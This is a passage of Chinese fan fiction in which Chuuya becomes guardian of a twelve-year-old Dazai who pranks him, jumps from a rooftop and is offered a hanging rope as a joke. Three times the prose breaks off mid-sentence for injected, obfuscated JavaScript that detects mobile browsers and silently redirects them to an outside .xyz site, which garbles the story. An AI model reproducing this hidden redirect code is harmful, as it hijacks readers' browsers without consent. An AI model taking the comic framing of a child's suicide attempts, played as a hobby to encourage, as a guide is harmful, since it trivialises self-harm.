梆得一声,“暗器”在那颗圆圆的后脑勺上轻轻敲了一下,洗手池的水面咕嘟咕嘟冒出泡泡,像是有小金鱼在吐息。 金鱼宰回过头,眼神幽幽:“中也好烦,又阻止我自杀,简直是全世界最讨厌的人。” “是是是!你也是全世界最烦人的混蛋!”中也一脸不耐,走上前去,按住脑袋防止太宰乱动,取下毛巾粗鲁地擦了擦那张湿漉漉的脸,“你个自杀混蛋,今晚跟我睡!” “呜哇,才不要!”太宰治拒绝完,飞快地小声问了一句,“为什么?因为我热爱自杀?还是别的?” “嗯,算是吧,你伤也好的差不多了,明天要带你见个重要的人,所以今天不能出事。” “我不要!”太宰治抗议,“而且我的命是我自己的吧,中也根本管不着!中也还是我的女仆呢,我命令你不许多管闲事!” 他一面说一面大幅度挣扎起来,两条胳膊堪比螺旋桨,中也一只手摁着他的脑袋,一只手拿着毛巾,一时没看住,被太宰溅上一脸水花。 中也怒火中烧,一拳捶到旁边墙上,伴随着“咔”一声响,洗手池边的镜子出现蛛网状裂纹,随后哗啦哗啦往下落。 太宰治眼睛睁眼,嘴唇张成“O”形,愣愣看着中也。 中也毫发无损,收回拳头,语气暗藏杀机:“明天之前,你最好都给我老老实实的—,不然……” “不然?” “——我就把你尿床的事写在报纸上全横滨发行,还要把你倒吊在□□大门口,拿着锣鼓欢天喜地庆祝太宰治十二岁还尿床。” “哪有这回事?!啊啊啊好过分啊中也!!!”太宰治惊叫。 中也难得耐心,一根手指抵住他往前冲的脑袋,微笑道:“我说有就有。” 捕风捉影弄虚造假什么的,刚跟外交官学的哦,卑鄙的方法就要用来对付卑鄙的小孩。 太宰治眼神哀怨瞪着中也:“你真是个可怕的男人!”接着,他话音一转,朝着碎掉的镜子努努嘴,忧愁道,“家里就这一面镜子吗?” 中也不以为意:“嗯,不过这有什么?一面镜子而已,明天有空再换一面就是了。” “哦。”太宰治低下头,嘴角划出一抹坏笑。 11. 本周不服输中也 收拾好狼狈的卫生间,终于到了睡觉的时间。 传说中可以加班一周的Port Mafia劳模中原中也此刻精疲力竭,心力憔悴,比连续加了一个多月的班还要累。 他走到床边,铺好被子,瞪了床上的小崽子一眼,凶到:“不要睡成‘大’子型啊混蛋,给我留点地方!” “我不要我不要!这明明是我的床吧!中也女仆应该好好睡在地板上才对哦。” 中也无视他的抗议,面无表情关掉灯,手动挪开霸占着整张大床的太宰,直直睡在右边,床下陷出温柔弧度。 太宰治张口就要抱怨。 中也早有预料,伸手捂住他的嘴,另一只手扣住他的小臂,握紧,然后侧身压住他的腿。 “老实点!” 太宰无语凝噎,这根本不给他不老实的机会吧。 四周笼罩在静谧的黑色夜晚里,而黑暗中五感总是特别灵敏。 首先传来的是温度,中也的身体总是非常温暖,不管是怀抱还是掌心,握住他胳膊的手掌温度尤其高,蛮不讲理地将温热触觉隔着皮肤传进血液,抵达全身。 之后传来的是香气,中也身上总是有种吸引人的香气,平时很轻很淡,到了夜里却变成一张网,变成万根丝线,裹挟住他的全身还不算完,非要顺着鼻腔侵占太宰整个嗅觉。 最后是触觉,赭色发尾像羽毛一样扫过脸颊,带来酥麻的痒感,覆盖在嘴上的那只手掌心带着薄茧——或许是因为常年战斗,用力压住他嘴唇时,让他无端联想到一些三流书籍里的色/情画面。 整个世界被裹进一道名叫‘中原中也’的围墙,连心跳都不受控制追随着对方的呼吸,呼出的气息又不分你我交织在一起,湿热熏的得人脸颊滚烫,昏昏欲睡,太宰转动眼珠看向中也—— 睡着了? - 第二日,清晨七点。 中也准时睁开眼,发现自己的手臂服服帖帖放在被子里,被摆了个婴儿似的睡姿。 他瞪了一眼太宰。 好幼稚。 中也一把掀开被子,把还在睡觉的太宰晃醒,道:“今天有任务,赶紧起来,别睡了!” 太宰把脸埋在被子里,宛如鸵鸟一样毫无形象撅着屁股,不情不愿道:“不要!我想睡觉。” 穿好衣服,中也懒得管他,回头道:“随你的便吧,反正我会直接把你抓出去。” 出门?! 太宰竖起耳朵,偷偷瞄了一眼中也的背影,见他已经走进卫生间,一溜烟从床上起来,套好衣服,非常熟练地和中也挤在同一个洗手池前。 看着突然冒出来的黑色脑袋,中也差点咬断嘴里的牙刷,巴掌已经习惯性拍上那颗试图淹死自己的后脑勺。 咕噜咕噜,小金鱼吐泡泡。 洗漱完,太宰坐到饭桌前时,中也已经做好了两份早饭,属于太宰那份是水果三明治和牛奶。 两人第二次坐在同一张桌子上去吃饭。 这回太宰安安静静吃着饭,眼睛期待地看着中也。 孩子静悄悄,必定在作妖。 中也狐疑地嗅了嗅自己面前的三明治和冰咖啡,没闻出来什么怪味,但他还是眼也不眨就丢进垃圾桶。 上次吃到土豆芽馅三明治和加了不知道什么料咖啡的画面还历历在目,中也磨牙,同样的当他绝对不可能再上第二遍! 太宰果然露出遗憾的表情,但一句话没说,安安静静低头吃着早饭。 直到出门前,太宰治都维持着这种乖巧安静的样子,就算中也分出了十二分精力防备他,也挑不出一丝毛病。 - 八点,一辆车准时且悄无声息停在黑手党干部公寓前。 中也带着太宰坐上车,闭目休息,吩咐司机道:“去Port Mafia总部,把今天要处理的文件给我。” 接过文件,干部大人中原中也忙碌的一天算是正式拉开帷幕。 中也一边看着文件,一边注意着旁边的太宰,对方兴奋得就像出去春游的小学生,跟司机兴致勃勃互通姓名。 “早上好,先生,我叫太宰治哦。” “啊,哦,好的。”司机顿了一下,“我叫小林明正,中原先生的司机之一。” 太宰冲他欢快摆摆手。 中也:估计在家憋疯了吧话这么多! 一路疾驰到Port Mafia门口,中也带着太宰下车,迎门就看见了信天翁和外交官。 对方也瞧见了他,兴奋大笑着过来打招呼:“嗨,中也,早上…” 外交官微笑补上:“早上好,中也。” 太宰治比中也还兴奋,挥挥手道:“早上好呀,信天翁还有外交官,我是太宰治哦。” 不是,谁问你了? 中也烦躁低头,再抬头,果然看见了信天翁还有外交官脸上微妙的笑容。 看来还在误会他欺负太宰治呢,可恶,好气! 他解释道:“我可没欺负他,伤一好就带他来见BOSS了,没事我们先过去了?” “去吧去吧!”信天翁做了个请的手势,面目堪称狰狞。 “…哈?不是,你那是什么表情?”中也粗声道。 外交官拉了信天翁,微微一笑,淡定道:“他昨天笑得太开心,下巴脱臼了,正疼着呢。” 信天翁认同点头。 ……行吧。 进了Mafia,太宰宛如回到了家乡的游子,脚步轻快,分外好奇,回头问他:“中也,你的办公室在哪里?” “不在这栋楼。”中也没好气,“只有个休息室。” “我要去我要去。” “……不行。” “拜托了嘛中也,就这一次,我不会带别人去的。” “…先见森先生。” “拜托了拜托了拜托了…” 太宰像个小孩一样躺在地上,开始绕着他滚来滚去,港口员工进进出出,无不好奇地打量他俩,然后背过去窃窃私语。 以后Mafia的地用他中原中也的脸面来扫。 “你这混蛋给我起来啊!”中也无力地拉低帽檐,企图遮住脸,低声怒斥,“快滚起来,下不为例!” “好哦!”太宰从善如流,滚到他身边一跃而起,眼睛亮亮。 说是看看中也的休息室,但等终于带着太宰到了BOSS办公室门口时,中也快带着太宰逛完了整个Mafia大楼,期间遇到了红叶姐,旗会其他人,还有很多中也的部下等等,但不管是谁,看见他俩时一会要露出微妙的微笑。 中也无比迷茫,直到遇见梶井——那个柠檬炸弹小子,对方一见他就毫不留情发出爆笑,一语点破道:“哈哈哈中也你脸上是什么东西啊。” “我脸上有东西吗?”中也摸了摸脸,疑惑道,“你这家伙在笑什么啊!” 两人还没讲出个所以然,太宰治就拉了中也离开,这回太宰没再整什么幺蛾子,跟着中也乖乖去了BOSS办公室。 看到BOSS办公室的大门口,中也有种回家的错觉,几乎要热泪盈眶,片刻不停拉着太宰敲门进去。 “BOSS,我把你要见的那个孩子带过来了,”中也脸上露出久违的轻松笑意,把太宰治带到森鸥外跟前,“就是他!BOSS,资料我已经提前发给你了。” 森鸥外端坐在冰冷漆黑的办公桌后,双手交叠,露出微笑:“资料我已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853254|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经看过,辛苦…中也君了,不过这个孩子看着还很小呢,真的可以入职Mafia吗?” 看起来很小的孩子松开中也,眼疾手快坐到屋里唯二的椅子上,两条细瘦的腿晃来晃去,目光上看下看,好奇地在屋里打量。 中也:“……” 中也哼笑一声,答道:“年纪是很小,不过意外的有天赋。我的意思是先放到Mafia由您培养着,毕竟您不是最喜欢钻石。” 听见这些话,太宰治脸上小孩子似的开心表情褪去,鸢色眼睛里露出不属于这个年纪的成熟和敏锐,视线转动间,和森鸥外目光相撞。 这以秒计算的瞬息间的交锋,身居高位的港口首领和流浪无依的野猫,分明是地位天差地别的两人,却在对方眼里看到了某种可以称之为同类的品质。 偏执,疯狂,天才的头脑,被裹在玩笑的外表下,遇见某些人某些事的时候才毫无顾忌释放出来。 这样的天才头脑如果下定决心做出什么事业,那必然会有一番经天纬地的成就,但偏偏有人把这样的心思全都放在了一个人身上,无异于猛兽给自己系上锁链。 再凶的猛兽有了软肋,也就变成了好用且不会伤手的武器。 森鸥外了然笑笑:“太宰君确实是颗不可多得的钻石,我觉得把他留在Mafia很合适,不过,教导他的事情,还是交给中也君吧!” “……” “啊?!”中也一脸牙疼的表情,第一次大逆不道试图拒绝BOSS的命令,“有的商量吗BOSS,我可不会带孩子,况且虽然我脾气温和,但偶尔也有失控的时候……” 言外之意,我不想带这个熊孩子,我一看到他就恨不得掐死他。 森鸥外瞥了一眼明显已经不太开心的太宰,对中也摇摇头道:“我倒是觉得中也君和太宰君很合得来。况且,太宰君的异能‘人间失格’和你的污浊好像很合拍。这样,就让太宰君在你手下待到十八岁,如果你们一直水火不容,那就另作打算。” “而且,我看太宰君对中也你很有占有欲呢。” 森鸥外一边说,一边用手点点脑门,嘴角带着点控制不住的笑。 中也似乎想到了什么,面色一僵,木着脸走到落地窗边,借着窗户的反射,清清楚楚看见了自己整张脸被马克笔写上几个大字。 “太宰治的狗。” 中也深深倒吸一口气。 怪不得,怪不得啊! 怪不得这死孩子今天没整什么太大的幺蛾子,怪不得这家伙逢人就说自己叫太宰治,怪不得一路上大家脸上都带着微妙的笑容!!! 而他中原中也,今天就特么跟个傻逼一样,带着太宰治转悠了整个□□,他的同僚部下全特么看见了他这一脸蠢样,洋相更是直接出到了BOSS面前! 他今天不揍一顿这混蛋,以后就不叫中原中也! 中也呼吸颤抖,气血上涌,不想当着BOSS的面发火,准备把太宰带回去再料理家事(清理门户),视线一看到森鸥外和太宰治,又想到了BOSS要他养太宰治到十八岁。 那可是十八岁啊,太宰这小混蛋今年才十二。 六年,两千一百九十一天,他要和太宰治这个无耻混球在一个屋檐下。 不服输的中也第一次感受到了什么叫绝望。 太宰治注意到了如芒在背的目光,哼笑一声,做个鬼脸:“中也真是个笨狗狗!” 说完,他跳下椅子,踩着独属于这个年纪的小孩子的步伐,一溜烟跑个没影。 Mafia总部大楼中爆发出一声怒吼,震得楼都抖了三抖,一时间所有人都听见了那句: “太宰治!!!你给我滚回来!!!” 12. 小兔宰子 聪明的小孩子在捉迷藏方面有着非比寻常的天赋,离开港口,就像是化作了烟雾,轻飘飘散在空气中,来无影去无踪。 中也忙了半天,实时查看了所有监控,才找到了那个小小的身影。 少年在港口大楼的天台上,那里常年锁着门,也不知道他怎么溜进去的,但太宰就跟能穿墙越壁的精怪一样,确确实实坐在天台边。 天台风大,少年黑发和黑色外套在空中翻飞,连缠在手臂上的绷带也随风而舞,上摇下摆,像是风过湖面时泛起的波纹。而太宰低着头,看起来闷闷不乐的样子,两条细瘦的腿晃来晃去,但明显不如刚才在办公室里活泼。 风更大了,吹得少年身体也跟着摇摆。 天台可没有护栏啊这混蛋。 中也噌一下冲到了天台顶,不走电梯也不走楼梯。 他飘到太宰背后,上去就想踹一脚,对方后背却跟长了眼睛一样,轻巧翻身避过,站到离他两米远的天台边。 他的脚步晃了一下,中也跟着心惊肉跳。 站稳后,太宰偏头不看他,像是在赌气:“讨厌的中也不许靠近我。” 不是,就太宰现在站的那个位置,但凡来一阵大风就能把他吹飞下去好不好! 中也摊开双手,怒道:“你这家伙又生哪门子怪气,我还没揍你呢!能不能先滚下来,你知道这楼有多高吗混蛋?!你掉下去能从太宰变成太宰酱!” 听见他的话,太宰没忍住笑了,随后又抿起嘴角,依旧不高兴:“中也说话好难听,我要把你的嘴堵上。” “……哈?我说话难听?!”中也指了指自己,一副不可思议的样子,压抑住怒音,“您要不要看看您干的什么好事呢?……不过你现在下来的话,我可以考虑不打死你,只打断你的腿。” 太宰不说话了,低着头不看路,一步一步沿着天台边缘后退。 刚才失去了最佳救援时机,太宰的异能力又是被动发动的无效化,他现在贸然过去可能会带着他和太宰一起摔成中也酱和太宰酱,只能眼睁睁看着对方拿自己的小命玩。 “你讲不讲道理啊你,我只打断你一条腿行了吧?” 太宰没停。 “…半条。” 太宰还是没停。 “我不揍你了行不行,快停下来啊你这家伙!” 他每走一步中也就心惊肉跳一次,极度紧绷的精神根本什么都思考不了,他全副注意都在对方脚下。 太宰终于停下了。 呼——,终于可以松一口气了。 一口气没松到底,太宰说话了,声音闷闷的:“中也管我干嘛,反正我不是要跟着森先生了。中也真是过分,明明打赌输给我,要当我一辈子的小狗女仆,结果既不穿着女仆装给我做饭,也不能驮着我出门,呜啊啊啊中也真是讨厌死了,虽然不想和中也待在一起,可中也凭什么像个货物一样对我,也不问问我的意见,真是太糟糕了!太糟糕了!” “我才不要和中也待在同一个世界。” 说完这句,他张开双臂,像雏鸟第一次学习飞翔,在狂风中猎猎作响的黑色外套就是他的羽翼。 他慢慢倾倒在天空中,最后的目光落在中也身上,然后宛如青春疼痛文学女主一样闭上双眼。 “太宰?!”中也目眦欲裂,一跃而起,猛地伸手去抓那片黑色羽翼。 黑大衣的衣摆调戏似的擦过他的手背,留下让人心惊的触感,像是嘲笑中也扑了个空。 但中也从不会扑空。 几乎是不假思索,中也发动重力异能,将自身的重力无限大,借着冲刺的加速度落到太宰身下,像是空中巨重的踏板一样让太宰有个缓冲,好让他下落的加速度不那么大,然后异能被无效化,他空中反转离开,重复这个操作。 Port的大楼有二百九十六米,他重复了九十九次次这样的动作,没有失误一次。 中也先落地,下意识仰头张开双臂,稳稳借住从天而降的少年,任由对方将他扑个满怀。 太宰身上的绷带被风吹得散开大半,这会全都不讲道理地缠在了干部大人身上,像是小蜘蛛织了一个笨拙的网,却捉住了意想不到的猎物。 猎物是自愿上钩的。 终于尘埃落定,中也像是离开了水太久的鱼,这会只觉得呼吸困难全身乏力,带着太宰坐到地上。 目光相撞,太宰冲中也笑了一下。 这混蛋还有脸笑?! 愤怒化作力量,中也一下子翻坐到太宰身上,挥起拳头朝着那张精致的脸上来了一拳。 这是他第一次真正打太宰治,下手不重,可太宰嘴角还是渗出淡淡血迹,或许是坠楼过程中内脏受了伤。 因为这点血,干部大人堵到嘴边的怒骂变了调:“你这家伙死…是不让人省心,既然长了嘴干嘛不能好好说话?!你在想什么你倒是说出来,不想去森先生身边我又不会逼你!” 为自己默哀半刻,中也补上一句:“而且你根本没把BOSS的话听完吧!…呵呵,BOSS说让我带着你呢,更生气了吧,生气也没用,让你不说!” 太宰咧起嘴角,红唇下是染血的牙齿,趁着中也没注意,扯了一把绷带,将中也扯到自己胸前,鸢色的眼睛直勾勾盯着他,湿红舌头若隐若现,问道:“那中也你呢?你为什么不拒绝?” “…有病啊你,扯我干嘛?”中也瞪了太宰一眼,“这还用说,对于黑手党而言,最重要的就是服从BOSS的命令。” 太宰的嘴唇蓦地抿成一条直线,伸手勾住中也的脖子,“可中也明明是我的狗吧,为什么要那么听他的话?中也也要当他的专属女仆,给他捏脚做饭,也会在对方跳楼的时候毫不犹豫接住对方,为他去死吗?” 借着中也的力道,两人从地上站起来,但太宰的眼神一刻也没动地盯着中也,等他的回答。 “……你找死啊?”中也无语,“BOSS可不会跟你一样找死,也不会那么无聊。” “那为什么他的话你都听,我的话你一句不听?” 没完了是吧! “…那当然是因为他是港口Mafia的首领,我是他的干部啊!” “你是我的狗。” 中也一边扯着缠在身上怎么也解不开的绷带,一边无语凝噎,打也不能打,骂也不能骂,整天一肚子气死人的想法,八百个心眼子全用来对付他一个人。 不是,这是正常小孩吗?跟他想的一点也不一样。 -< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853255|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 带太宰去医院检查治疗后,中也回到家里,已经是深夜。 小混蛋要住院观察两天,家里难得恢复了静悄悄,中也神清气爽睡了个好觉。 休假结束,干部大人的生活步入正轨,今天的任务是和一个意大利商人谈合作。 他因为工作调动暂时回到总部,但西方的黑手党分部和那边的合作才是他的主战场,估计要不了太久就要回去。 一向无牵无挂热爱工作的干部大人漫无目的地想:他要是去外国了,要带着太宰治吗?对方会愿意离开横滨跟他走,还是留在这里给他找事,到时候山高水远,对方再像昨天那样怎么办? 直到坐在熟悉的接待室,中也依然时不时想着这件事,秘书的声音传来,提醒他该工作了。 他搓了一把脸,结束思虑,心道自己怎么也开始婆婆妈妈起来。 门口已经传来脚步声,中也脸上挂上标准的微笑,走到门口将对方请进来,寒暄过后,两人随意坐到真皮座椅上。 热茶氤氲雾气里,中也看着对方,对方是个意大利老头,有着鹰钩鼻和锐利的灰色眼睛,胡须很长,笑容像是画在脸上。 中也双腿交叠,姿态休闲,招手时,秘书已经恭恭敬敬把文件递到他手上。 “皮兰德娄先生,没想到这么快就又见面了?”中也一口标准的意大利语,微笑,“知道这次的合作对象是您,我可期待了好些天呢!” “我也一直回忆着中也君战场上的风姿。”意大利人捧着茶杯,吹散热气,品了一口,叹道,“好茶!” “您要是喜欢,我让手下多给您准备些。关于这次项目,我有了个策划案,您看看?” 中也说着,将手中的文件递过去,意大利人接过,打开的瞬间,文件夹里飘落一张纸条。 中也心一惊,预感不好,飞速瞄了一眼。 ‘中原中也是…’ 中也木着脸,啪一下拍在落在桌面的纸条上。 桌子带着意大利人震了一下,对方疑惑望着他。 自己的行为是有些太激动了。 中也挤出笑容,捻起那张纸条晃了晃,以为对方不认识日语,道:“没什么,家里小孩子顽皮,恶作剧玩呢。” “哦——”外国佬拖长音调,似乎很好奇,道:“中也君的孩子吗?哈哈,小孩子虽然顽皮,但也可爱。上面写了什么?我看着好像有中也君的名字。” 中也面色微僵,挤出笑脸,道:“小孩子跟我说想养狗。” 我回去就打断他的狗腿。 “养狗?那你家孩子一定很善良有爱心,是个神一样的好孩子。” “……” 中也不想多提那个混蛋,咬牙顺着对方的话:“…是啊,他确实很…乖。” 三言两语扯开话题,聊了半天敲定合作细节,送走对方后,中也也回到了自己的办公室。 他的办公室在总部后面的一栋楼里,离接待室不远,几步路的距离,但那里最安静,加之他这几年很少回来,也意外地简洁。 开门进去后,中也反手锁上门,确定房间里只有自己一个人后,他打开电脑,输入: “如何教导性格恶劣喜欢自杀脑子有问题的小孩子?” 13. 中也带宰日常 深夜,Mafia私立医院门口。 太宰治坐在台阶上,一脸不可思议。 医院的日子太无聊,他也不想让中也好过,特意挑了个凌晨打电话骚扰对方,抱怨中也没有责任心把他一个人丢在医院巴拉巴拉。 而电话那头中原中也,这回既没有骂他也没有让他滚,十分好脾气地听完了他的所有话,然后微笑答:“一口气能说这么多话,太宰小朋友真是厉害呢?你想回来是吧,我现在就去接你。” 太宰治登时起了一身鸡皮疙瘩,想了半天没想明白问题出在哪? 十分钟后,护士就告诉他他可以出院了,半小时后,他就坐在医院门口的冷风里,等中也来接他回去。 太宰治像是捏面团一样扯了下自己的脸,痛感传来,不是做梦。 那一定是中也有病吧。 横滨夜里风凉,远处霓虹闪烁,灯红酒绿的喧哗生活在街道那头,医院门口是少见的安静。行人稀少的马路上,一辆轿车打着车灯,悄无声息朝着他靠近,停在太宰面前的马路上,后座降下一半车窗。 赭发先飘出来,接着是带笑的蓝眼睛,中也笑得十分…温柔。 “喂,太宰,等很久了吧。”中也打开车门,走到他跟前,伸出手,“走吧,带你回去。” 尽管这样的中也十分诡异,但那张端庄甜美的娃娃脸露出笑时,是非常晃眼的。 太宰愣了一下,一肚子阴阳怪气忘个干净,真就把手乖乖递给中也,任由对方拉着他起身。 “手这么凉,出来怎么不多穿一件衣服?”说着话,中也取下披在肩上的黑外套,慢悠悠放在太宰身上,还贴心地理了一下领子,最后满意点点头。 熟悉的气息扑面而来,一如初见时候的动作。 手被中也牵着,温柔带到车上,对方在他坐稳后还贴心帮他系上安全带,那张娃娃脸靠近的时候,太宰治甚至不敢呼吸。 ——毕竟不确定疯病会不会通过呼吸传染。 而中也一边用余光观察太宰,一边吩咐司机开车,在心底握拳窃喜,果然专家教的就是有用,小崽子稳稳拿捏! - 十三个小时前,上午十点。 中也在办公室用电脑查了一下该怎么带孩子。 他没有父母,也没有正常孩子的童年,八岁才认识什么是面包,比三观先培养起来的是杀人的本领。 他是一把好刀,但绝对不是一个称职的监护人,所以太宰那个样子,中也觉得自己的教育也有一部分原因。 不过没事,孩子还小,未来还长。 这么一想,中也猛地站起身,下定决心要仔细学学怎么带孩子,他拿出手机打给情报部,道:“帮我查点东西,现在在横滨最出名的教育家,或者儿童专家,查查地址。” 港口Mafia的效率没话说,一小时后,中也已经到了那位据说是著名教育家的人家里。 午休时间,那位教育家哼着小曲,慢悠悠打开门,发现屋里很黑,窗帘不知道什么时候被严严实实拉上了。 “不见点太阳怎么行呢!”教育家说着,准备过去拉开窗帘。 “砰”地一声,身后传来巨大关门声,还有粗暴的“咔哒”,那人还把门反锁了! 一把匕首悄无声息抵上教育家脖颈间,对方声音冷酷,宛如鬼魅:“港口黑手党,别叫,不然杀了你!” “哎好的好的!”教育家冷汗暴起,两股战战,冷刃的触感让人头皮发麻,他声音颤抖,“对不起别杀我我说我都说!” 我不该装教育家诈骗圈钱我罪该万死对不起对不起别杀我我去自首…… 话没出口,刀刃更近了,对方低声威胁:“闭嘴!你别说了!听我说!” “哎,好的好的,您说您说。”教育家眼泪快要下来,大脑一片空白,下意识回应。 “那个,我问你,对于那种喜欢自杀的小孩,该怎么教育?说!” “啊教育…教育好啊,教育可太好了,这个教育嘛,哈哈教育…”教育家大脑飞速运转,试图分析对方的话,扑捉到了关键词“自杀”,他生怕对方一个不耐烦杀了自己,不敢停顿,道,“这个嘛,小孩子喜欢自杀,说明…说明这个孩子他有爱好,对!爱好!那我们就要支持培养孩子的爱好,提供多样化的体验机会,尊重孩子的选择。对,就是这样!” 说到最后,他完全不知道自己讲了什么,只祈祷这位阎罗赶紧放了自己。 “…哈?原来是这样吗?”中也一边震惊自己还是太孤陋寡闻,原来这个年纪的孩子自杀很正常,一边继续问道,“那孩子总是不会说话怎么办,就想要什么也不说,一不高兴就闹?” 熬过最初的恐惧,教育家冷静了一点,大脑终于开始工作,思索自己背过的稿子:“这个吗?你家孩子多大?” “十二。” 这个年纪还不会说话,有点难办啊! 教育家试探道:“或许,家长可以多表达一点,比如生活中多关心对方,亲子间多交流,多谈谈心,切记一定要多鼓励对方,千万不要暴躁,不可拿刀对着脖子,语言也应该温和一点。” 中也皱眉:“语言温和?” “是是是,比如说话的时候一定要带笑,这样小孩子才敢亲近。” “这样吗?行吧。”中也思考一下,觉得自己脾气还算温和,这个肯定不难,接着道,“那孩子总是恶作剧怎么办?整天到晚给我添麻烦!” 教育家一拍手:“这更好办了啊,你家孩子还没上学吧!听我的,送学校去,放学后啊周末了啊再报十几个课外班,孩子肯定就没空折腾了,你也空闲了不是?” 中也眼睛亮了,随即又想到他们是黑手党,上学这条有些困难,暂时放最后做个备选吧。 - 从医院回到家时,已经是深夜,太宰从车上下来,看着眼前的独栋别墅,眨眨眼,问:“换地方了?” 中也语气和蔼:“嗯呢,原先那个住处太小,不适合你自杀。” 太宰僵住,用不可思议的目光看着中也。 接受到太宰的视线,中也感动,果然,孩子的爱好还是要支持的! 今日太晚,等明天给太宰看了自己精心为他准备的礼物,肯定会感动哭的。 中也十分有信心,大手一挥就要拍拍太宰的肩膀,让他不用那么感动,忽而想起来不能太暴力,于是手心上扬,摸了摸对方的脸:“好了,乖孩子,现在已经很晚了,快睡觉吧。……我十分关心你的身体。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853256|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 念稿一样说出这些话,中也在心里给自己鼓掌,这么恶心的话能从他嘴里说出来,对象还是太宰治,真该给他点精神损失费。 太宰治已经完全呆滞了,木头一样愣了十几秒,然后默默道:“我要骑着中也进去。” “…哈哈哈,真是厉害呢太宰,已经会表达自己的想法了。”恶心的句式,阴沉的语气,有点熟悉的感觉了。 太宰治上一秒还在反复思考自己一天不在中也到底干了什么,下一秒就被打横抱起来。 干部先生抱着太宰大步走进门,还以为对方看不见自己脸上的表情,但那副咬牙切齿忍气吞声的样子已经被太宰尽收眼底。 有意思。 - 第二日一早,太宰治就被中原中也从床上扯下来。 他打着哈欠,揉揉眼睛,咕咕哝哝:“干嘛呐,这么早就把我叫起来,中也好烦人哦。” “别睡了,早睡早起有助于身体健康。” 这话从两点睡八点起以喝酒开机车为乐的干部大人嘴里出来,令人惊悚。 太宰治瞥了中也一眼,已经被吓清醒了,对方拉着他来到院子里,一棵树下,站定。 “快看,这棵树。”中也语气骄傲,“特意为你移栽过来的,据说是最适合上吊的树。” 说着,中也翻翻背包,摸出一条麻绳,打了个绝对不会开的死结,将它套到树干上。 大功告成,中也拍拍手,回头按住太宰的肩膀,带着他往前走了两步,笑问:“绳子也是我做了一天功课专门选的,非常结实,绝对不会断掉。怎么样,要不要上去试试?” 他的语气非常和蔼,像是带小孩子去游乐园的家长,问孩子要不要坐旋转木马,或者要不要买个冰淇淋。 太宰神情麻木,眼珠向上滚动,看见中也鼓励的眼神,鸡皮疙瘩又起了一身。 他道:“可是上吊这种死法很痛苦哎,我只想清爽明朗充满朝气地自杀。中也快想想办法。” “…哈哈哈,好的呢。”中也尬笑两声,捏住太宰胳膊的手不自觉用力,又松开,挤出一句,“太宰真是很有想法呢。” 他就知道小崽子不会这么好哄,幸好他还有其他准备。 中也带着太宰在院子里走了几步,后院有个小门,越靠近越能听见阵阵水声,打开门后,飞溅的水汽扑面而来。 是一个小型温泉,泉水清冽,可以见底,温泉周围铺满了名贵的彩色鹅卵石,被切成相同的大小,摆成设计师精心设计的图案,温泉尽头甚至还有一道瀑布,足见设计师功底深厚。 “怎么样,特意为你准备的,你一年四季都可以清爽快乐地自杀!” 中也神采奕奕,邀功一样看着太宰,希望从他脸上捕捉到一点喜悦的神色。 太宰靠在小门边,抱臂低头,脚尖晃来晃去,很为难的样子:“可是现在我还没有吃早饭,好饿哦,不想自杀。” 要吃饭?这好啊。 中也单手扶着门,挑眉:“你想吃什么,随便提。自家厨师不喜欢的话,随便横滨哪家餐厅,我都给你绑过来。” “诶,这样啊?”太宰治终于露出今天第一个笑,“要中也穿着女仆装戴毛茸茸狗耳朵给我做蟹黄面!” 14. 十二岁,上学的好年纪 中也徒手捏爆了铁门。 他压抑住呼吸,露出一个凶神恶煞、上能吓哭八十老人下能吓哭三岁小孩的笑,强装温柔挤出一句:“…哈哈哈,真是不小心,这个门也太脆弱了,没有吓到你吧。” 太宰兴奋地盯着对方的娃娃脸,道:“没关系哦,金刚芭比我也很喜欢?” “金刚芭比?是说我吗?”中也眯眼打量太宰,问道,“金刚还能沾点,芭比怎么说?” 港口Mafia重力使凶名在外,从来没有被人用“芭比”这么听起来就可爱粉嫩的词形容过。 太宰:“因为中也个子小小的,跟商店里卖的娃娃一个尺寸哦。” 说着,他大拇指和食指举在眼前,对着中也比划了一下,满意点头。 “喂,我哪有那么小…了啦。”中也怒音刚起,忽然想起来教育家的忠告,尾音连忙拐了个九曲十八折的弯,堪称平和道,“而且你明明比我还矮吧。” “呼呼…那我就要下咒语了哦?”太宰单手叉腰,伸出一根细长的食指在空中划了一道,欢呼,“好啦,咒语生效了,以后我会比中也高很多。” 中也眯起眼睛,嗤笑:“还真以为自己是个魔法师……吗?……那当然了,我也这么觉得。” 合格家长第一条,孩子的梦想不能打击,虽然十二岁了还有这么笨的想法很好笑就是了,自己十二岁杀过的人都能绕着横滨摆一圈了。 